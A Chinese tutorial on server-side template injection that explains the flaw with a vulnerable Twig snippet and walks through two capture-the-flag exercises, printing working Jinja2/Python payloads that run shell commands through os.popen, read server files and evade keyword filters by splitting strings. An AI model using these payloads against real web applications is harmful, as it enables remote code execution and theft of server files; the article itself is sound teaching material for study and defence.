安全漏洞之SSTI模板注入深入解析
引文
上篇文章帶來(lái)了反序列化漏洞的知識(shí),還沒(méi)講過(guò)的基礎(chǔ)漏洞類(lèi)型已經(jīng)很少了,今天給大家?guī)?lái)的知識(shí)點(diǎn)是SSTI模板注入,提到注入大家首先想到的肯定是SQL注入,而SSTI模板注入和SQL注入其實(shí)也存在著類(lèi)似的點(diǎn),接下來(lái)就詳細(xì)給大家講解一下。
簡(jiǎn)介
服務(wù)端接收了用戶的輸入,將其作為 Web 應(yīng)用模板內(nèi)容的一部分,在進(jìn)行目標(biāo)編譯渲染的過(guò)程中,執(zhí)行了用戶插入的惡意內(nèi)容,因而可能導(dǎo)致了敏感信息泄露、代碼執(zhí)行、GetShell 等問(wèn)題。
原理
我們先引入一下服務(wù)器模板,頁(yè)面上的數(shù)據(jù)需要不斷更新,即為渲染。我們簡(jiǎn)單舉一個(gè)例子:使用 Twig 模版引擎渲染頁(yè)面,其中模版含有 {{name}}
變量,其模版變量值來(lái)自于 GET 請(qǐng)求參數(shù) $_GET["name"]
,如果渲染的模版內(nèi)容受到用戶的控制,代碼如下:
$twig = new Twig_Environment(new Twig_Loader_String()); $output = $twig->render("Hello {$_GET['name']}"); // 將用戶輸入作為模版內(nèi)容的一部分 echo $output;
可以看到上面就是個(gè)漏洞點(diǎn),服務(wù)端相信了用戶的輸出。
SSTI類(lèi)型
根據(jù)模板類(lèi)型的不同,包裹變量的標(biāo)識(shí)符也大有不同,我們常見(jiàn)的模板引擎有,我們可以根據(jù)返回值的類(lèi)型來(lái)判斷不同的模板引擎??梢愿鶕?jù)下圖來(lái)進(jìn)行判斷:
基礎(chǔ)語(yǔ)法
class:查看變量所屬的類(lèi),根據(jù)前面的變量形式可以得到其所屬的類(lèi)。
>>> ''.__class__ <class 'str'> >>> ().__class__ <class 'tuple'> >>> {}.__class__ <class 'dict'> >>> [].__class__ <class 'list'>
bases:查看類(lèi)所屬的基類(lèi)
>>> ''.__class__.__bases__ (<class 'object'>,) >>> ().__class__.__bases__ (<class 'object'>,) >>> {}.__class__.__bases__ (<class 'object'>,) >>> [].__class__.__bases__ (<class 'object'>,)
可以看到上面例子,基類(lèi)都?xì)w屬于object。
subclasses:查看當(dāng)前的子類(lèi),格式:
變量.__class__.__bases__[0].__subclasses__()
現(xiàn)在我們拿到了所有繼承Object
類(lèi)的子類(lèi)的引用,在調(diào)用這些子類(lèi)的方法,去進(jìn)行我們的模板注入,講一下利用的前置知識(shí)。
init
__init__
用于初始化類(lèi),意思就是拿到一個(gè)類(lèi)之后要使用__init__
之后我們才可以調(diào)用里面的函數(shù)和屬性 。
global
返回當(dāng)前位置的全部模塊,方法和全局變量,配合著__init__
使用 。
builtins
內(nèi)建名稱空間,內(nèi)建名稱空間有許多名字到對(duì)象之間映射,而這些名字其實(shí)就是內(nèi)建函數(shù)的名稱,對(duì)象就是這些內(nèi)建函數(shù)本身。即里面有很多常用的函數(shù)。
import
動(dòng)態(tài)加載類(lèi)和函數(shù),也就是導(dǎo)入模塊,用于導(dǎo)入os模塊__import__('os').popen('ls').read()]。
例題
學(xué)習(xí)到現(xiàn)在,我們可以嘗試做一個(gè)題目來(lái)鞏固一下:
先查找有沒(méi)有可用的子類(lèi),遍歷發(fā)現(xiàn)<class 'warnings.catch_warnings'>
利用這個(gè)子類(lèi)可以查看目錄:
''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')
''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')
讀取server.py文件
''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')
得到flag。
過(guò)濾器
當(dāng)然真正的題目不可能會(huì)這么簡(jiǎn)單,里面會(huì)包含著過(guò)濾函數(shù),過(guò)濾特殊字符等操作,接下來(lái)給大家講講過(guò)濾器的知識(shí)點(diǎn)。
attr
用于獲取變量,可用于. [] 都被過(guò)濾的情況
join
將一個(gè)序列拼接成一個(gè)字符串,join ('|')將令每一個(gè)元素被'|'隔開(kāi)
lower
將字符串轉(zhuǎn)換為小寫(xiě)
string
將變量轉(zhuǎn)換為字符串,可以用符號(hào)構(gòu)造出我們可利用的字符串、符號(hào)等。
reverse
字符反轉(zhuǎn)
format
格式化字符串
以上就簡(jiǎn)單舉了點(diǎn)過(guò)濾器的例子與用法,當(dāng)然上面列舉的只是一小部分,除了這些還有非常多的過(guò)濾器,一一列舉是列舉不完的
進(jìn)階
接下來(lái)講一個(gè)有點(diǎn)難度的題帶大家加深理解,進(jìn)去題目發(fā)現(xiàn)是一個(gè)如下的解碼加密網(wǎng)站。
用{{7*7}}加密解密得到49確定存在ssti模板注入,回顯是base64編碼的。簡(jiǎn)單fuzz后發(fā)現(xiàn)過(guò)濾了flag、import、os、eval等關(guān)鍵詞。我們構(gòu)造拆分語(yǔ)句:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva'+'l' in b.keys() %} {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
放到解碼區(qū),去解碼得到文件目錄:
進(jìn)一步拼接去查看flag就OK了,構(gòu)造最終payload:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva'+'l' in b.keys() %} {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
結(jié)語(yǔ)
今天比較詳細(xì)的講了SSTI模板注入漏洞的原理以及應(yīng)用方法,可能剛開(kāi)始學(xué)不太好理解,可以根據(jù)之前SQL注入的思路去理解一下。有興趣的小伙伴可以自己去搭建靶機(jī)來(lái)進(jìn)行測(cè)試,以上就是SSTI模板注入深入解析的詳細(xì)內(nèi)容,更多關(guān)于SSTI模板注入的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
跨站式腳本(Cross-SiteScripting)XSS攻擊原理分析
XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁(yè)面里插入惡意html代碼,當(dāng)用戶瀏覽該頁(yè)之時(shí),嵌入其中Web里面的html代碼會(huì)被執(zhí)行,從而達(dá)到惡意用戶的特殊目的。2008-09-09注冊(cè)驗(yàn)證java代碼[針對(duì)上篇文章]
注冊(cè)驗(yàn)證代碼[針對(duì)上篇文章] ,大家可以多參考腳本之家以前發(fā)布的文章。2009-08-08跨站腳本攻擊XSS(Cross Site Script)的原理與常見(jiàn)場(chǎng)景分析
XSS指的是惡意攻擊者往Web頁(yè)面里插入惡意html代碼,當(dāng)用戶瀏覽該頁(yè)之時(shí),嵌入其中Web里面的html代碼會(huì)被執(zhí)行,從而達(dá)到惡意攻擊用戶的特殊目的。這篇文章主要給大家介紹了關(guān)于跨站腳本攻擊XSS(Cross Site Script)的原理與常見(jiàn)場(chǎng)景的相關(guān)資料,需要的朋友可以參考下。2017-12-12